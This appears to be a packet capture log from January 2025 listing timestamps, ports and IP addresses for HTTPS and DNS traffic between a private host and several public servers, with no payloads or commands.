Jan 10, 2025 16:33:16.447350979 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.447375059 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.521509886 CET	443	49721	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:16.522383928 CET	49721	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:16.522413969 CET	443	49721	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:16.522780895 CET	443	49721	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:16.523483038 CET	49721	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:16.523552895 CET	443	49721	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:16.523643970 CET	49721	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:16.567373037 CET	443	49721	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:16.673871040 CET	443	49721	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:16.673960924 CET	443	49721	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:16.674073935 CET	49721	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:16.674885035 CET	49721	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:16.674917936 CET	443	49721	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:16.746964931 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:16.747359037 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:16.747430086 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:16.747795105 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:16.748176098 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:16.748259068 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:16.748332024 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:16.763982058 CET	443	49709	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:16.764067888 CET	443	49709	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:16.764394999 CET	49709	443	192.168.2.17	188.114.97.3
Jan 10, 2025 16:33:16.765036106 CET	49709	443	192.168.2.17	188.114.97.3
Jan 10, 2025 16:33:16.765052080 CET	443	49709	188.114.97.3	192.168.2.17
Jan 10, 2025 16:33:16.773628950 CET	49725	443	192.168.2.17	35.190.80.1
Jan 10, 2025 16:33:16.773680925 CET	443	49725	35.190.80.1	192.168.2.17
Jan 10, 2025 16:33:16.773875952 CET	49725	443	192.168.2.17	35.190.80.1
Jan 10, 2025 16:33:16.774125099 CET	49725	443	192.168.2.17	35.190.80.1
Jan 10, 2025 16:33:16.774144888 CET	443	49725	35.190.80.1	192.168.2.17
Jan 10, 2025 16:33:16.791337013 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:16.913362026 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.913667917 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.913682938 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.914064884 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.914401054 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.914537907 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.914604902 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.914604902 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:16.914633989 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:16.951190948 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:16.951241016 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:16.951270103 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:16.951301098 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:16.951334000 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:16.951364994 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:16.951392889 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:16.951447964 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:16.951447964 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:16.951447964 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:16.951531887 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:16.951606989 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:16.951827049 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:16.955904007 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:16.955988884 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:16.956007004 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.003694057 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.037580013 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.042351961 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.042392969 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.042419910 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.042471886 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.042506933 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.042525053 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.047060013 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.047096014 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.047159910 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.047175884 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.047213078 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.047641993 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.051901102 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.051940918 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.051964045 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.051974058 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.052016020 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.052392960 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.056524992 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.056580067 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.056619883 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.057193041 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.057221889 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.057260990 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.057267904 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.057301044 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.061213970 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.061913967 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.062001944 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.062014103 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.066035986 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.066096067 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.066111088 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.103176117 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.107788086 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.107829094 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.107856989 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.107892990 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.107909918 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.107969046 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.112504959 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.112545013 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.112588882 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.112626076 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.112656116 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.112693071 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.115709066 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.115730047 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.117259979 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.117305040 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.117340088 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.117379904 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.117379904 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.117408037 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.125336885 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.125375986 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.125413895 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.125435114 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.125472069 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.129169941 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.138456106 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.138525963 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.138541937 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.139009953 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.139060974 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.139071941 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.139108896 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.143218040 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.143739939 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.143790960 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.143801928 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.143836975 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.150576115 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.150687933 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.152658939 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.152723074 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.157383919 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.157448053 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.162158966 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.162220001 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.162542105 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.162599087 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.163686037 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.167269945 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.167346001 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.171684027 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.171838045 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.172017097 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.172086000 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.176703930 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.176815987 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.181391954 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.181479931 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.196330070 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.201502085 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.201534986 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.201569080 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.201596975 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.201690912 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.201690912 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.201708078 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.201905012 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.206207037 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.206267118 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.206319094 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.206332922 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.211117029 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.211152077 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.211182117 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.211211920 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.211234093 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.211237907 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.211266041 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.211298943 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.211299896 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.211299896 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.211299896 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.211323023 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.211323977 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.211368084 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.211378098 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.211410999 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.211438894 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.211468935 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.211469889 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.211469889 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.211469889 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.211481094 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.211580038 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.211616993 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.211625099 CET	443	49722	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.211647987 CET	49722	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.211805105 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.211812019 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.236188889 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.240323067 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.240340948 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.256247997 CET	443	49725	35.190.80.1	192.168.2.17
Jan 10, 2025 16:33:17.258554935 CET	49725	443	192.168.2.17	35.190.80.1
Jan 10, 2025 16:33:17.258568048 CET	443	49725	35.190.80.1	192.168.2.17
Jan 10, 2025 16:33:17.259807110 CET	443	49725	35.190.80.1	192.168.2.17
Jan 10, 2025 16:33:17.260322094 CET	49725	443	192.168.2.17	35.190.80.1
Jan 10, 2025 16:33:17.261276960 CET	49725	443	192.168.2.17	35.190.80.1
Jan 10, 2025 16:33:17.261276960 CET	49725	443	192.168.2.17	35.190.80.1
Jan 10, 2025 16:33:17.261557102 CET	443	49725	35.190.80.1	192.168.2.17
Jan 10, 2025 16:33:17.280265093 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.280308962 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.280353069 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.280467033 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.280467033 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.280478954 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.281106949 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.281183004 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.281198025 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.281548977 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.281558990 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.281629086 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.281635046 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.281727076 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.282336950 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.282418966 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.283085108 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.283143997 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.283148050 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.283159971 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.283334970 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.283987045 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.284085035 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.284092903 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.284308910 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.284818888 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.284885883 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.285614967 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.285682917 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.285959959 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.286099911 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.286627054 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.286659956 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.286809921 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.286809921 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.286817074 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.287393093 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.287620068 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.287627935 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.287697077 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.288031101 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.288103104 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.307867050 CET	49725	443	192.168.2.17	35.190.80.1
Jan 10, 2025 16:33:17.307878971 CET	443	49725	35.190.80.1	192.168.2.17
Jan 10, 2025 16:33:17.355814934 CET	49725	443	192.168.2.17	35.190.80.1
Jan 10, 2025 16:33:17.369040012 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.369190931 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.369230986 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.369230986 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.369252920 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.369359970 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.369477034 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.369477034 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.369484901 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.369534969 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.369687080 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.369873047 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.369916916 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.369916916 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.369916916 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.369926929 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.370023012 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.370374918 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.370423079 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.370423079 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.370423079 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.370429993 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.370755911 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.370786905 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.370820045 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.370830059 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.370830059 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.370831013 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.370842934 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.370908976 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.371102095 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.371102095 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.371102095 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.374253035 CET	49727	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.374295950 CET	443	49727	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.374356031 CET	49727	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.374638081 CET	49727	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.374646902 CET	443	49727	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.388009071 CET	443	49725	35.190.80.1	192.168.2.17
Jan 10, 2025 16:33:17.388086081 CET	443	49725	35.190.80.1	192.168.2.17
Jan 10, 2025 16:33:17.388123989 CET	49725	443	192.168.2.17	35.190.80.1
Jan 10, 2025 16:33:17.388427019 CET	49725	443	192.168.2.17	35.190.80.1
Jan 10, 2025 16:33:17.388442993 CET	443	49725	35.190.80.1	192.168.2.17
Jan 10, 2025 16:33:17.388794899 CET	49728	443	192.168.2.17	35.190.80.1
Jan 10, 2025 16:33:17.388828039 CET	443	49728	35.190.80.1	192.168.2.17
Jan 10, 2025 16:33:17.388894081 CET	49728	443	192.168.2.17	35.190.80.1
Jan 10, 2025 16:33:17.389283895 CET	49728	443	192.168.2.17	35.190.80.1
Jan 10, 2025 16:33:17.389300108 CET	443	49728	35.190.80.1	192.168.2.17
Jan 10, 2025 16:33:17.671809912 CET	49723	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.671834946 CET	443	49723	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.830760002 CET	443	49727	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.831063986 CET	49727	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.831073999 CET	443	49727	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.831414938 CET	443	49727	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.831933975 CET	49727	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.831991911 CET	443	49727	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.832966089 CET	49727	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.833462000 CET	49730	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.833498955 CET	443	49730	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.833555937 CET	49730	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.833758116 CET	49730	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:17.833770037 CET	443	49730	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:17.857815027 CET	443	49728	35.190.80.1	192.168.2.17
Jan 10, 2025 16:33:17.858053923 CET	49728	443	192.168.2.17	35.190.80.1
Jan 10, 2025 16:33:17.858077049 CET	443	49728	35.190.80.1	192.168.2.17
Jan 10, 2025 16:33:17.858414888 CET	443	49728	35.190.80.1	192.168.2.17
Jan 10, 2025 16:33:17.858834028 CET	49728	443	192.168.2.17	35.190.80.1
Jan 10, 2025 16:33:17.858834028 CET	49728	443	192.168.2.17	35.190.80.1
Jan 10, 2025 16:33:17.858863115 CET	443	49728	35.190.80.1	192.168.2.17
Jan 10, 2025 16:33:17.858922005 CET	443	49728	35.190.80.1	192.168.2.17
Jan 10, 2025 16:33:17.875324011 CET	443	49727	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.910751104 CET	49728	443	192.168.2.17	35.190.80.1
Jan 10, 2025 16:33:17.973265886 CET	443	49727	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.973355055 CET	443	49727	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.973421097 CET	49727	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.973817110 CET	49727	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:17.973833084 CET	443	49727	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:17.989387035 CET	443	49728	35.190.80.1	192.168.2.17
Jan 10, 2025 16:33:17.989506960 CET	443	49728	35.190.80.1	192.168.2.17
Jan 10, 2025 16:33:17.989574909 CET	49728	443	192.168.2.17	35.190.80.1
Jan 10, 2025 16:33:17.989698887 CET	49728	443	192.168.2.17	35.190.80.1
Jan 10, 2025 16:33:17.989713907 CET	443	49728	35.190.80.1	192.168.2.17
Jan 10, 2025 16:33:17.989769936 CET	49728	443	192.168.2.17	35.190.80.1
Jan 10, 2025 16:33:17.989769936 CET	49728	443	192.168.2.17	35.190.80.1
Jan 10, 2025 16:33:18.279386044 CET	63274	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:18.284179926 CET	53	63274	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:18.284267902 CET	63274	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:18.289052963 CET	53	63274	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:18.332739115 CET	443	49730	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:18.333118916 CET	49730	443	192.168.2.17	104.18.95.41
